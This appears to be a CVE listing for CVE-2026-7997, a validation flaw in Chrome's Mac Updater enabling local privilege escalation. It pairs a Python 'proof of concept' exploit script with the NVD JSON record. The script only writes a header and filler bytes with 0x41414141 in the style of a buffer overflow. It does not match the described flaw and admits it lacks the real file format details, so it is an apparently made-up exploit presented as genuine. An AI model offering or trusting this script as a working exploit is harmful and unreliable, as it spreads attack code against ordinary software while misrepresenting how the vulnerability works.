CVE-2026-7997

import os import struct # Proof of Concept for CVE-2026-7997 # This script creates a crafted file intended to trigger insufficient validation. # Note: Actual exploitation requires specific file format details. def create_malicious_file(filename): # Header mimicking a valid structure expected by the Updater header = b"CHROME_UPDATE" # Malicious payload designed to bypass validation payload = b"A" * 256 + struct.pack('<I', 0x41414141) with open(filename, 'wb') as f: f.write(header + payload) print(f"[+] Malicious file '{filename}' created.") print("[!] Requires user interaction to trigger via Chrome Updater.") if __name__ == "__main__": create_malicious_file("malicious_update.bin")

{"cve": {"id": "CVE-2026-7997", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:50.607", "lastModified": "2026-05-06T23:18:39.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in Updater in Google Chrome on Mac prior to 148.0.7778.96 allowed a local attacker to perform OS-level privilege escalation via a malicious file. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/487960705", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}